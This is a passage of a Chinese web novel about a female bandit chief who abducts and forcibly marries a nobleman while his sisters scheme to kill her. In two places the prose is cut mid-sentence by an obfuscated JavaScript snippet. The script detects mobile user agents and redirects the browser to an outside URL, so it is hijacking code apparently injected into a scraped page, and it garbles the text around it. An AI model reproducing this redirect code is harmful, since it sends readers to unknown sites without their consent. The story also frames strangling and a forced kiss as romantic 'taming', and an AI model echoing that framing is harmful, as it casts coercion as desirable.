这是本话本,讲的是过去的官员惩恶扬善的故事,最出彩的是里面有一段主人公剿匪斩恶霸,顾清颇喜欢这段,看得津津有味,眼见着柳锐问到他面前,他便带着点微妙的语气道:“你自己看不懂么?” 柳锐波澜不惊地摇摇头:“看不懂,除了我自己的名字之外,别的字我一概不识。” 柳锐算是个文盲,然而她自己对待此事却是十分坦然,上龙头岭的山匪大多是穷苦出身,穷人连吃饱饭都是奢侈,更别提读书了,从小在山寨长大的柳锐自然遇不到能教她读书的,老念识字,也曾有过教柳锐读书的想法,然而没教几天便气得直念叨“此女不可教也”,把书本一抛,绝口不提再教她读书的事。 顾清本意是想暗戳戳讽刺她,发觉对话并没有朝自己预想的方向去,便不再同她搭话了,细细一想,柳锐是个文盲才合理,她看不懂字,不懂欣赏,所以任由满墙的名家字画吃灰遭殃,也不会心痛。 她可真糟糕,他未来的妻主就算不是文采斐然之辈,也必定不会是一个无知粗鄙的文盲。 柳锐无法听到别人的心声,自然不知顾清在想什么,只是见他一直沉默,房间里的气氛陡然变得冷凝,她便灵机一动,启唇笑了笑:“我看你这书也差不多翻到最后几页了,左右我今晚也没事,不如你来教我识字吧。” 既然都谈到识字这事上了,不如就借着这由头与他多聊几句,也好与他做点事。 顾清翻书的动作一顿,有些不悦又疑惑地抬眸:“教你识字?你我非亲非故,我凭什么教你,你又是哪里来的信心向一个厌恶你的人提要求的。” 柳锐微不可察挑了下眉,面色又要阴沉下来,而顾清到底比她要讲理一些,放下书本告诉她:“要想让我教你识字,也不是不行,只是我绝不白教你,你若愿意,我也可以和你做交易,我教你一个时辰,抵你囚禁我的一日,倘若我教你三十个时辰,你就要修改交易,将放我下山的日子提前一个月。” 听完他这一席话,柳锐被气得笑了一下,当她这是当铺么,什么都能拿来做交易,早知他如此较真交易,她当时就不该提起这事,她该万事都强迫他,强迫他委身于她,让他知道山匪的本性压根就不是通情达理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319264|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能让他体面地和她做交易,简直是痴心妄想。 然而柳锐却没将这些气话说出来,今日上午已经同他起过争执,晚上再吵,那今日的话也算是聊完了,日日若是都如此,她还有什么机会驯服此人。 柳锐最是喜欢迎难而上,于是她嗤笑一声道:“用这个来交易多没意思,识字是一门技能,作为交易,我该给你的也是一项技能。” 顾清抬眼盯着她:“你要教我什么?” “我可以教你习武。” 听见习武,顾清起不了半点兴趣:“这是我不需要的东西,大家公子以静为美,习武多动易出汗,便会让人认为我仪容不端。” 柳锐挑了下眉,身子前倾向他凑近,笑道:“这么迂腐做什么,习武可以强身健体,更可以保命,倘若你是一个武艺高强的人,那你必不会轻易被我抢回寨中,不是么?” 顾清淡漠地抬眸看她,随后皱着眉侧过脸,避开她的目光,见他没有表示反对,柳锐便站起身道:“你既然不说话,我便开始教了啊,为表一点礼节,教你习武前,我送你一样武器。” 柳锐说话间走到房间的一个角落,四处看了看,拖出一个巨大的木匣,伴随着锁链“咔哒”一声响,她在灰尘之中缓缓将其打开,只见木匣里装满了各式各样的武器,这些大多不是抢来的,而是柳锐年少时,老寨主带着她去山下平城找兵器铺一件件定制出来的。 “这把短刃,削铁如泥,我曾用它割开过一头熊的喉咙。”柳锐挑挑拣拣,把她认为好的都拿出来。 “这把剑,是名家之作,我第一次下山抢劫,带的就是它。” … “不过你不要以为有了武器便能战胜我,拥有是一回事,如何操控是另一回事,你若想练到能杀我,起码要花六十年,说起习武,如今正是过年,山寨里会举行不少比武,你若感兴趣,我带你去看几场如何?” 柳锐解释了许多,不过身后一直都没再传来声音,甚至连反讽的声音也没有,她回过头,发觉顾清不知何时就早已放下了书本,侧身背对着她,盖着被子静静睡觉了。 柳锐有些不悦,低声喊了句:“顾清,顾清?” 没人回应,他已睡熟。 柳锐将手里的短刃丢回匣子里,随意将匣子盖上,旋即沉默着躺到了远处的躺椅上,自昨晚开始起她便这样睡了,妻夫不会分房,她和顾清之间有界限,休息时离得极远。 月上梢头,夜色正浓。 待到柳锐睡沉了,躺在另一边的顾清这才缓缓睁眼,坐起身抱膝,目光落在那只巨大的木匣上,眼神冷淡而平静。 教他武艺?他两个姐姐在朝皆为武将,谁都比她更有能力教他习武。 夜深人静的时候更思乡,顾清很想念家人,只可惜不能通书信报平安… 竹楼里点了炭火取暖,到夜里就有些闷,顾清睡不着,悄然走到窗前开窗透气,月光如水,落在他的身上,像是一层极轻的薄纱,顾清看着远方夜雾里的山峦,突然感受到耳侧扇过一阵凉风,待他转眸,他才发现有根银针不知何时稳稳扎在了他耳畔的窗沿上。 顾清下意识回头,看见柳锐还在熟睡中,方取下那枚银针,他在姐姐们那见过这种银针,这银针极粗,尖端锋利,内里中空,既可以用来杀人,又可以用其间的中空位置传递信息,他研究了一下,很快就以指尖自中空的位置取出一张小字条。 顾清的心跳逐渐加速,他双手颤抖地将其展开,只见纸上有清晰可见的一行字。 公子不必害怕,我乃您长姐顾富大人内应。 大人欲剿匪,还请公子帮助一二,配合吾等计谋,夺山匪柳锐性命! 5. 第五章 顾清被劫当晚,并州官府。 寒风凛冽呼啸过大街小巷,月明星稀,家家户户都熄了烛火,漆黑一片的并州城池内,官府却仍是灯火阑珊。 叩门声响,顾富从昏昏欲睡中惊醒,她快步出门,只见五个黑漆漆的大箱子被抬到院中央,副将依次打开,那白花花的盐瞬间让她睡意全无。 “大人,方才突然有人敲响官府大门,守卫出门便发现了这些箱子,还有一封信。” 顾富扯过信封拆开,只见里头白纸黑字清晰写着:薛大人今日途径龙头岭,遗失行李,现交与顾大人,望顾大人代为奉还——龙头寨。 “计谋成功了!”顾富欣喜若狂,“想必这便是薛良私自贩卖的盐,我总算没有辜负母亲的栽培,在任上做成了一件大事。” “多亏顾大人的妙计,您早查出薛良每年回乡表面是省亲,实则是私自贩盐,只可惜薛良背后有那棵大树,我们不好在明面上查她获取罪证,但那山匪柳锐敢,顾大人便以薛良手下小吏的名义送了个咱们的内应悄无声息地上山,将这情报卖给了柳锐,她果然没放过薛良,我们不费吹灰之力就得到了这证据,恭喜顾大人!” “只不过,我原以为要几经周旋才可拿到这些罪证,柳锐怎么如此迅速地将东西交了出来,还是直接交给我了,她该不会已经发现这是我布的局了吧…” 顾富喜忧参半,副将见状赶紧安慰:“顾大人,内应一直与我们保持联络,她没有提到异常,那我们也不该过于担忧,眼下当务之急,是将这批盐交上去,铁证如山,薛良必死无疑。” “不错。”顾富颔首:“让内应找机会从山寨脱身回来,柳锐也不是吃素的,越待下去,她越容易发现端倪…” “不好了!” 突然有人打断顾富,她凝眉看向一个灰头土脸,被侍卫们扶进来的随从,此人奄奄一息,到她面前便是眼泪汪汪跪下,止不住哀嚎:“不好了,顾大人,我们公子得了主君的允许,好不容易出远门来并州看望您,谁晓得半路被山匪拦了路,随从的士兵死的死伤的伤,公子也被掳走了!” 顾富脸色一变:“你说什么?” “呜呜呜…公子被人抢走了,正是那龙头岭的山匪,我们碰巧与薛良同路,她们要打劫薛良,误以为我们是一伙,便不分青红皂白把我们这也洗劫一空,公子被她们的首领抢走了,我趴在草丛里听得清楚,她当着所有人的面说要娶公子为夫!” “什么!”顾富踉跄后退,“怎会如此…怎么就碰巧遇见薛良了,不,阿清被母亲养得矜贵美丽,不能嫁给山匪,首领…是柳锐抢了我弟弟!” 意识到这一阴差阳错,顾富当即两腿一软,就在她即将跌坐在地时,一双手立刻拉住她:“长姐!这个时候万不可慌!” 顾富一回头,顿时像是看见了主心骨,苦着脸道:“二妹,如今可怎么好,我设下的计谋却害惨了阿清…” 顾太师有二女一子,拉住顾富的,正是顾家老二顾顺,她在北方当差,此番是回京述职的路上看望长姐,正巧遇见此事,顾顺个高体壮,行事严苛,脾气也爆,见顾富愁眉苦脸,便怒道:“这是那山匪的错,跟你没有关系,我早听闻龙头岭有山匪横行霸道,母亲说过,山匪都是穷凶极恶之徒,贪婪无厌,嗜血成性,多留一日都是为祸人间,姐,如今正好借着这个由头,咱们二人联手,把那山寨杀个片甲不留!” 顾富犹豫片刻,最终挣扎着点头,对下人吩咐道:“为保我弟弟名声,立刻封锁消息,就说顾公子安全抵达我这,只是路上染了风寒,暂不出门,递消息给咱们的内应,让她继续潜伏,同时暗中保护阿清,与他配合,随时等待与我们里应外合,剿匪救人。” 吩咐完这一番话,顾富又忧愁起来:“只是该怎么做才可剿匪?那里地势险峻,龙头寨的势力又愈发大。” “长姐不要急,我听闻柳锐是老寨主的义女,而老寨主还有个亲生女儿没当上寨主,先让你的内应…” —— 清晨,山间雾气未消,早起的山匪们将隆兴堂前的空地围得水泄不通,堂前台阶上是把刚搬出来的太师椅,坐在那的正是柳锐,伴随着她一个手势,台阶下的立刻喝道:“大当家的看着了,现在,比武开始!” 空地中央正站着蓄势待发的二当家包子与小黑,此话一落,二人眼神一变,迅速出击。 “二当家好招式!” “小黑倒也不差。” 两人的一招一式都颇为精彩,二当家的力气大,一拳可让小黑往后退半步,然而小黑打架讲究巧劲,一个回身就让包子的拳头落空,柳锐将这一切都看在眼里,趁着下人给她沏茶的功夫问:“她们二人是因何事要比武的?” “二当家无意中看见了小黑的鹰,很是喜欢,便提出比武,若她赢了,小黑就要将那只鹰送给她,若二当家输了,她就得给小黑十两银子。” 那作为彩头的鹰就停在不远处的鸟笼里,它通体黑色,在阳光下像一块墨玉,柳锐看了眼,便又专注于这场比武。 山寨里过冬不会外出打劫,精力旺盛的山匪们就各自找路子打发时间,比武是最受大家欢迎的消遣方式,只要拿出件东西做个彩头,她们便可玩上一天,为保证比武公平,每一招一式都干净,寨里的比武都要由大当家做裁决判输赢,柳锐倒也不嫌累,乐得陪她们玩。 这场比武进行了一炷香的时间,二当家力气虽大,耐力却不够好,步伐逐渐有不稳的架势,而小黑竟然逐渐占了上风,就在输赢即将分出胜负的时候,人群的最外圈突然传来一阵骚动,紧接着是一阵此起彼伏的惊呼。 柳锐抬眼,将注意力自二人转向人群,只见一道银光带着“呼呼”风声飞过,定睛一看竟是把即将被甩至包子与小黑身上的长刀! “找死。”柳锐不假思索运转内力,将手中的茶盏朝前一扔,茶盏触刃“砰!”一声巨响,白瓷崩裂,飞来的长刀也“哐当!”一声倒地。 方才还沸腾的气氛瞬间冷凝下来,众人纷纷向飞出刀子的地方看去,只见一个壮实而又皮肤黝黑的女子哈哈大笑着迈步踏进来。 “许久不见,小妹你反应能力倒是又快了不少。” 见到她,柳锐稍有些意外,却还是立刻打招呼:“欢迎大姐回家,这两日正好过年,柳阿娘正盼着和你团聚。” “我和她算什么亲人,她把你这个抱回来的当亲生的呢,我,狗屁不是。” 柳大姐回来,柳锐便将她迎进了隆兴堂入座,谁知大姐边笑边坐在主位的太师椅上,说出一番让人难堪的话。 柳大姐,柳峰,柳老寨主的亲生女儿,柳锐被抱回山寨时,柳峰已有十岁,人人皆以为她这个少主会继承山寨,却不料最后是柳锐这个养女夺得寨主之位,柳峰总认为是母亲包庇,带着帮人在龙头岭的另一边建了个新寨,鲜少再回来。 有大当家在,柳峰却占主位还出言讥讽,像是故意给个下马威,柳锐看她一眼,一笑了之,招了椅子坐对面,并不接这话茬。 周遭的空气都要比方才冷几分,柳峰像是浑然不觉,翘腿喝几口热茶,环顾四周吆喝:“大山寨就是好啊,听闻前几日小妹你打劫了京官薛良,收益颇丰,还娶了一个极其漂亮的夫郎,怎么,大姐难得回家,你都不把你的夫郎带出来同我见见么?” 面对柳峰的突然到访,柳锐打心里不舒服,柳峰从小和她关系不好,总会背着大人暗中欺负她,但因为养母柳阿娘对她恩重如山,所以她对柳峰总是多忍让三分,从不和她计较,也不和她动怒。 但到底姐妹相称,柳阿娘的亲女儿,该给的面子却还是要给,柳锐只好转头吩咐下人:“去把顾清喊来,就说有客人要见他。”想到昨日用午饭时几次三番顾清也不肯赏脸,她就又加了句:“你告诉他,他若不肯来,那就是不按照合约配合我,我便要将约定的期限再推迟一个月。” 尽管她如此威胁了,可等待顾清的时间仍是漫长,山匪们不清楚将要发生什么,不敢离去,只是站在原地交头接耳,小声议论,柳峰拄着刀闭眼养神,而柳锐则是一边在琢磨柳峰葫芦里卖得什么药,一边有些烦躁地喝茶。 从柳锐的竹楼到隆兴堂只要一盏茶的功夫,一炷香燃尽,接着是第二炷…当第三炷香的香灰落地,一身绿衣的顾清才终于出现,他目光微冷,眼下有一抹淡淡的青,像是夜里没有睡好,然而纵使没施粉黛,也难掩他的美貌,山寨中有不少人并未看清压寨夫郎,今日近距离一见,皆是一惊,就连柳峰都啧啧赞叹。 “都说小妹娶了个美人,今日一见,果然如此,小妹艳福不浅啊。” 什么话从柳峰嘴里说出来,都没有夸赞的意思,反而是跟随者语调而变得阴阳怪气,柳锐淡淡瞥她一眼。 “多谢大姐夸赞,顾清,你到我这来坐。” 顾清像没听见她后半句话,自顾自找了个离她最远的位置坐下,恍若和柳锐之间有一堵厚厚的墙,让他看不见,听不着。 柳锐心有不满,但是有外人在,她不好发作,只能轻嗤一声,旋即看向柳峰,因为她直觉柳峰要开口说话了。 果不其然,下一刻,柳峰皮笑肉不笑了下,后倾靠着椅背:“小妹你成家是好事,但我听闻我娘竟然把她珍藏的那对玉镯送给小妹当新婚贺礼了,那玉镯只有一对,本该是我的,可如今却是你 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“怎么可能,大家都不信服我,我要那个作甚,我要的是别的宝物,就怕小妹你不大度,不肯给我。” 她到底要什么…柳锐的心里感到一种浓浓的不详,她眼神幽幽,一字一句说道:“只要不是大当家的位置,旁的我都尽量满足你。” “那好,小妹你可看好了,我要…那个。” 柳峰明目张胆地一笑,将手往对面大胆一指,柳锐侧眸,看见她所指竟是顾清的方向,神色已全然冷了下来,眸间闪过几缕杀意。 她要的宝物是顾清,此话一出,场上皆是哗然。 “大姐这玩笑开得有些过了,你想要我夫郎,我就这么拱手相让了,岂不是要成天下山匪的笑柄?” 柳锐已露出了上位者的姿态,毫不客气俯视她,周身的气场压得人大气不敢出,而柳峰却也不怕她,甚至越发兴奋起来,舔了舔嘴唇一笑:“不就是个男人么,小妹你想要男人,那不是多了去,你刚刚还说我要什么宝物都肯给,我要个人,你就不肯了?” 若是旁的,柳锐倒也真答应她了,但唯独顾清不行,就像老虎捕获到一块好肉,还没琢磨明白怎么吃下肚,就有人想夺走它的肉,试问老虎会同意吗? 老虎都不同意,更何况柳锐?但这种事已然是掰扯不明白了,柳锐已然没了耐性,但顾及着最后一点面子,便抛出了个台阶让她下:“大姐,不如这样,你直接问他,他若同意,我自是没什么意见,他若不同意,那大姐你便寻别的宝物,别再惦念这件了。” 她话的重音都在末尾,这是最后得体的警告,警告她不要惦记她都没有好好享用的宝物,至于将这件事最终抛给顾清,那是因为柳锐知道他是一定不会同意的,毕竟同样是山匪,他连她都不肯跟,更何况是柳峰?且她和顾清好歹是有三个月的期限,可柳峰可不同,跟了柳峰那个无赖,便是一辈子… 可这件事出乎柳锐的意料,当她将目光转向顾清时,却只见他徐徐抬眸,看她和柳峰一眼,直接点点头:“可以,我同意。” 他的准许让柳锐大脑空白了一瞬。 “我不是被抢来的么,跟着你和跟着她,对我没有区别。” 他在说什么?他知道如今是什么情况么? 今日怎么会如此奇怪…周遭安静了一瞬,紧接着柳峰便站起身,她似乎忍不住哈哈大笑,边笑还边鼓掌,像是看了出有趣的戏,直笑到岔气,她才走过来拍她的肩膀道:“哎哟,小妹,你怎的这么留不住人啊,瞧瞧,你的美夫郎同意跟我了,哈哈哈哈那我可就要带他回家咯。” 柳锐沉默着转头看向她,一双眼睛逐渐走向晦暗不明,终于,暗色的火星子在她眸中逐渐升起。 顾清一双手在袖子中紧握昨夜得到的那张小纸条,看着眼前的柳锐,抿唇不语。 昨晚,他收到的纸条,正面是:公子不必害怕,我乃您长姐顾富大人内应。大人欲剿匪,还请公子帮助一二,配合吾等计谋,夺山匪柳锐性命! 正在他疑惑该怎么帮到姐姐的时候,他看到了反面:明日柳峰到访,请公子务必配合,助其激怒柳锐。 看着眼前即将暴怒的柳锐,再看一眼脸上微不可察划过一丝阴森的柳峰,顾清睫毛轻颤,暗自垂眸。 他自然明白,柳锐或许守信,三个月后真放他下山,然而他却也知道,不能全然信任一个杀人不眨眼的法外狂徒,留在柳锐身边多一日,便多一分危险。 只有她和山寨被消灭,他才能彻底安全。 所以他要帮助姐姐,他要激怒柳锐,他要柳锐掉入陷阱之中,他要柳锐死。 6. 第六章 周遭的气氛宛如绷紧的弓弦,勒得每个人都要窒息。 “你直接问他,若他同意,我便没什么意见…” “可以,我同意。” 跟她在一起就是要死要活,跟旁人却很快就点头。 柳锐的脑海中不断回响这两句话,眼神一直落在顾清身上,若她的眼神可化为实物,必然早已化作荆棘将他从头到尾紧紧勒住,囚禁其间用力折磨,直到他求饶为止,而顾清早猜到她正瞪着,淡淡侧头,轻易避开,只给她如玉一般美丽无情的侧脸。 “小妹这样瞪他做甚,该不会是想反悔耍赖吧。” 柳峰的语调愈发阴森,而柳锐只是斜视她一眼,面无表情道:“就算我反悔,你又能奈我何?” “那不行啊,我好歹也是龙头寨昔日的少主,你赖我的账…岂不是打我的脸?” “砰!” 一声巨响,是她拿起桌上用过的茶盏向柳锐甩去,柳锐早已不想忍了,抬手一把将其击落,透过无数茶盏碎片一掌劈向柳峰。 “糟糕,大当家和柳峰姐打起来了!” 这是昔日少主与大当家间的争锋相对,没有柳锐允许,根本无人敢上前阻拦,只听“轰隆—!”一声巨响,是柳锐一拳击向柳峰,连带着柳峰面前的木桌都遭了殃,四分五裂碎了一地。 “小妹,看来你是要和我比武了!这隆兴堂可是寨子的宗祠,你敢在这和我打,不怕寨里死去的前辈记恨你么,你敢不敢上马同我出去比一场!” 柳峰说完话便一声长哨引来自己的马,躲开柳锐的一掌飞奔出去,上马便是一记鞭子,扬长而去。 她要动真格。 柳锐回身抽出自己的长刀,随即毫不犹豫追上。 “来人,备马!” 老念不爱看比武,用完早饭才慢悠悠出门,在道上还未站稳,便“嗖—!”地被两道冷风吹得醒了神。 “我怎的大早上看见柳峰在寨子里乱窜,后面还跟着大当家?”老念有些凌乱,抓住一个跟出来的小山匪问:“发生何事了?” 等小山匪气喘吁吁向老念解释了方才发生的事,老念一个失神,皱眉喃喃:“坏事了。” “念姐,这话怎讲?” “大当家平日里倒还好,可一旦生起气来,比武就容易忘乎所以,除了打倒对手,眼里再无其它,往好处说是心无旁骛,往坏了说就是钻牛角尖,她跟谁打我都不担心,唯独跟那柳峰…那孩子阴毒,反倒叫我担心大当家,不过…” 风声自耳边呼啸而过,柳锐与柳峰在山道中一前一后,不多时柳锐扬刀向前一砍,“铮!”一声刺耳的响,两刃相触,火花四溅。 “小妹只要努力,武功也好山寨也罢,通通都能得到,却唯独得不到一个美人的芳心,啧,倒有些可怜了。” 柳峰讽刺的声音顺着风传过来,柳锐微眯着眼,挥刀一砍。 “铮!” “他的心迟早是我的东西,姐姐你与其操心我的家事,不如多操心自己,再走神下去,我的刀马上便要砍在你耳朵上了。” “迟早是你的?我刚刚可看得一清二楚,他连一个眼神都不给你,又怎么可能把心给你,妹妹,你性情恶劣,有爹生却又没爹养,孤儿出身又是文盲又是个强盗,那别说是美人了,寻常的男孩子都不会喜欢你,美人嫁你无异于明珠暗投,还不如跟了我。” “找死。” “铮—!” 龙头岭正是冷的时候,骑马狂奔而过,吸进肺里的空气都冷得刺人,甚至还有股子难闻的味道,柳锐却不在乎,她像是要追杀柳峰到天涯海角,一路追着不放,二人打了数十回合,就在柳锐即将以刀背将她拍下马时,柳峰突然自己从马上摔下来,一骨碌滚进草丛里,再无踪影。 柳锐勒紧缰绳,可刹那间,她前方的地面陡然塌陷,“轰——”一声响,激起一片尘土飞扬,空气混沌得宛若浓稠的雾,等着“雾”消散开来,平地上便再没有了柳锐的身影。 这响动惊起不少林中鸟四处纷飞,柳峰从松软的草地里爬起来拍拍灰,颇为满意地走过去,俯视一眼。 沙石不断往下落,落入两丈深的洞穴里发出一点孤寂的回响,这高度不算太高,人摔下去死不了,却一定会伤得动弹不得,失去意识,然而那洞底最可怕的,是有数十条盘踞在一起剧毒无比的银环蛇,它们条条都在吐着红色的舌头,洞穴底充斥着蛇的土腥味,那是为柳锐打造的炼狱。 然而在此刻,那里并无柳锐的身影。 (昨日午后) “这手镯碎成这样,不可能再修复到完好如初了,我是会金缮,但也只能做到以金丝固定,将它做成金镶玉手环。” 老念看着柳锐带来的碎玉直皱眉,叹口气道:“这么好的东西,算是糟蹋了,大当家你怎的这么粗心大意,把手镯摔成这样?” “不是我,是他,他当着我面摔的。”柳锐声音平静,老念听完却倒吸一口凉气。 “胆子也忒大,敢当着你的面做这种事。” “何止呢,你是不知道,他敢在新婚那晚拿剪子划伤我的脸,警告我不许靠近他。” “什么!” 老念大惊失色,反倒是柳锐神色如常,只不过她随即又渐渐蹙眉:“我一直在疑惑一件事,那把剪子是从哪里来的,我问过那晚伺候的下人,他只送了一回喜服进去,之后一直盯在门口,没见到有人再进屋。” 老念本是想讲顾清划伤她的事,见她突然提到这个,便也凝眉道:“那是…混在喜服里送进来的?” “那又是谁放在喜服里的呢?” 柳锐托腮,断言道:“寨子里有鬼,怀有异心的内鬼,我恐怕得做好应付的准备,随时保持警惕,见招拆招,剥茧抽丝,看看到底是什么人想要对我不利。” —— 有人暗中联络,要和柳峰一起整死柳锐,这让她激动得花了一晚上想出这么个方法来,先激怒她,让柳锐不假思索跟在她身后出来,再把她引入提前掩藏好的洞穴,让她摔伤行动不便,那洞穴里有她提前放好的毒蛇,这些蛇骤然从冬眠中被人惊醒,正是又饿又毒的时候,必不会放过柳锐。 山匪们总说,柳锐是她们的主心骨,柳峰不服,她才是寨主的亲生女儿,凭什么养女做得了主心骨,亲女儿却不能?没了柳锐实在是太好,她要证明给所有人看,她也能做龙头寨主心骨。 但在做龙头寨的主心骨前,她必须要找到柳锐的尸体,可奇怪的是,她几乎把头都要伸进去了,却还是没有看见柳锐的一片衣角,一种不祥的预感渐渐弥漫开来。 “姐姐,我不在底下。” 熟悉的声音传来,柳峰整个人陡然一哆嗦,有些恐慌地环顾四周,然而哪里都没有柳锐的踪影,只有山林里再普通不过的大树。 等等,树…柳峰有种大胆的猜想,随后怀着不敢置信的神情向上看去。 柳锐正坐在她头顶的树梢上,神情幽幽看着她的一举一动。 —— 山寨里一干人等一直聚在隆兴堂内等候,等到天色渐暗,便再也等不住了。 “包子,你领着一伙人沿着山道走一圈,把大当家寻回来,现在正是冬天,天一黑便是寒风彻骨,在外过夜要出事。” 老念作为一帮干事中年纪最大的,第一个提出建议,包子闻言点点头,走出隆兴堂时神色复杂地看了眼坐在那一动不动的顾清:“真是搞不懂男人,放着大当家不选,非要跟那个柳峰,引出一堆麻烦来,美人果然是祸水。” 顾清一直低着头,像是对这话闻所未闻,等到包子就要踏出门时才轻声回应了一句。 “你不懂,只因你不是我罢了,就算是祸水,也是她自己强要的。” “什么?” 包子误以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319266|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么幻听,疑惑着回头,然而顾清没有再重复,垂头看着自己攥紧的指节,好似刚刚讲话的压根不是她。 “不好了,不好了!出事了,快来瞧瞧!” 不知道是谁喊了一声,顾清心中一跳,脑子里顿时蹦出一个想法:柳锐死了,姐姐的计划成功,他很快就要回家了。 他的双眸逐渐生出一点光来,带着几分期待转头看向声音的来处,只见那里走出来的不是柳峰,而是如鬼魅般的柳锐,她扛着鼻青脸肿昏迷不醒的柳峰出现在大家面前,看起来悠然自得,毫发无伤。 顾清瞬间黯然下来,恢复冷清清的神情坐下,像是什么都没发生过,然而这一切都被柳锐尽收眼底。 “姐姐的马被条蛇惊了,她因此受伤坠马,输了比武也伤得不轻,你们把她扶下去养伤吧,我要和我的夫郎好好谈一谈。” 柳锐像扔废物一样扔下柳峰,一脸阴沉地走到顾清面前,不由分说就将他拽起,顾清力气不及她,踉跄两下被迫起身,垂着头低声告诉她:“我们没什么好谈的。” “这说不准,长夜漫漫,你我二人又是新婚,能谈的东西可太多了,今夜你们谁都别来打搅我和我家夫郎的好事,我势必要好好和他,共、度、良、宵。” 柳锐这一路几乎是半拉半拽将顾清拽回了竹楼里,一入房间关门,她耐心忍了一整天的怒火才终于发泄出来,一把将顾清推到在床上,双手紧紧掐住他纤瘦的脖颈,膝盖顶住他的腰身,将他牢牢囚禁在她的掌心,顾清挣扎着想要从袖子里掏出那把护身用的剪子,却不料剪子刚取出,便被柳锐拍飞出去。 “我对你客客气气,你倒还真以为自己有能力靠这剪子和我打三个来回?说,你今日为什么突然就同意要和别人走了,你为什么帮着别人激怒我,在我身边待三个月全须全尾地下山不好么,谁给你的胆子让你和我的敌人一起来对付我!” 她只使出了三分的力气,顾清便已然觉得难以呼吸,他有些痛苦地蹙眉,片刻后勉强撑着一口气怼她:“我单纯想要气你罢了,只要能让你难堪愤怒,我就算…真跟着她也没关系。” 顾清明白,柳锐是在问他背后有无人指使,他绝不可能把姐姐和内应供出来的,就算是现在激怒柳锐,让她把气全撒到他身上,他都不会透露半个字。 柳锐的眼里晦暗不明,片刻后哼笑一声,讽刺道:“那真可惜了,你没法跟着她,你只能跟着我,只要我还对你感兴趣,你就永远没办法逃离我的手掌心。” 顾清的脸色明显一白,柳锐看着他这样的神情,忽然觉得心里好受一些,然而这还不够,她觉得她到了驯服的第二个阶段,对胆大妄为的猎物施以一些惩罚,让其意识到谁才是真正的上位者。 她要惩罚他,这想法一旦生出,柳锐便将视线落在他如花瓣一样好看的唇上,接着眸色一深,毫不犹豫附身咬了上去。 那是她第一个晚上就想品尝的地方,带着他身上淡淡的香味,柔软又温暖,她曾以为人生中第一次亲吻谁,大概会在什么美妙的时刻,却没想到是像猛兽撕咬猎物那般以虎牙咬上去,掠夺他的气息,强硬地享受他的香气。 这是他自找的,他要和别人激怒她,激怒猛兽的代价是惨痛的,他必得乖乖受这一次。 “唔…停下,你住手…” 顾清宛若惊弓之鸟,眸子颤动,痛苦又气恼地挣扎着,直到片刻后发现自己根本推不开柳锐,才终于哽咽着放弃挣扎。 柳锐突然尝到了舌尖的铁锈味,她眉心微动,停止这种动物般的亲吻看向他的脸。 顾清唇角已有一抹艳丽的殷红,他不知何时竟然哭了,眼眶泛红,泪珠顺着眼尾一滴滴落下来,像一颗颗晶莹的珠子,眼神里既有厌恶,又有一种难言的伤心和委屈,他有些绝望地轻声抽泣,第一次无计可施地开口。 “停下来,别再强迫我了...我疼。” 7. 第七章 柳锐这小半辈子讲究“睚眦必报”,有人和她作对,不论轻重,她都会让敌人付出极其惨痛的代价,从没有体例。 可现在,索取来的敌人的香气不断萦绕在她口鼻之间,他的嘴唇被她咬出艳丽的红,这样的人和她求饶的场景,她从没见过。 顾清晶莹的泪水让她第一次心软,所以她试探着松开了禁锢住他的双手,结局也可以预料,顾清立刻像要避开什么脏东西般,神色厌恶与畏惧迅速移动到离她最远的墙角,在察觉到柳锐没有任何动作后,才带着泪仓皇逃出屋子。 “哎?这不是…大当家的,您的夫郎跑出去了!” 听见下人的提醒,柳锐回过神来,烦躁地捏捏眉心,朝外挥了下手:“随他去,反正他逃不出这寨子。” 夜色沉沉,白日里就肃穆的龙头岭此刻更为可怖,黑漆漆一片,倒真像是一个龙头,是柳锐派来的龙头,专程来监视他的一举一动。 寨子里有条潺潺流动的小溪,水面波光粼粼的,顾清独自跑到溪边抽泣,用溪水拼命擦洗自己的唇角,直洗到他的唇色泛白,顾清才堪堪停手,望着清澈的溪水无助地掉眼泪。 真是太糟糕了,柳锐凭什么强吻他?他守身如玉,极为珍贵的初吻是留给未来妻主的,而不是她这个卑鄙无耻之徒,他简直厌恶得想要反胃。 她今日能因着一时生气而强吻他,明日万一又一时兴起,对他做出些什么不得了的事呢?他是一刻也不想在她身边待下去了,然而残酷的现实却是,他还要在她身边待上整整三个月,如今被她强迫夺走了初吻,顾清甚至有些不确定,柳锐是否真的会守信放过他,她真的会吗? 思及此处,顾清更加绝望,渐渐由抽泣变为了低声痛哭,像是溪边迷失方向的小兽,孤独又悲伤,他想要摆脱柳锐,却半点抵抗的能力都没有。 “哟,原来你在这呢。” 一道女声传来,顾清立即收住哭声,眼眸带泪回头,警惕地问:“你是什么人,柳锐让你来的?” 那女人做了个请的手势:“咱们老寨主让你过去一趟。” —— “柳峰今日醒了么,我要审问她。” 第二日晌午,柳锐便来到了老念的住处,昨日她虽说是柳峰自己坠马摔伤的,然而柳峰脸上清晰的掌印让大家都隐约懂了其中内情,柳锐动真格打了她一顿,把她打个半死后带回来,说是留在寨中疗伤照顾,实则是扣押住她,昨日之事有很多蹊跷,柳锐得问个明白。 “还没醒,她烧了大半夜,只怕今天都醒不过来,这好歹是你名义上的姐姐,你下手得留点余地。” 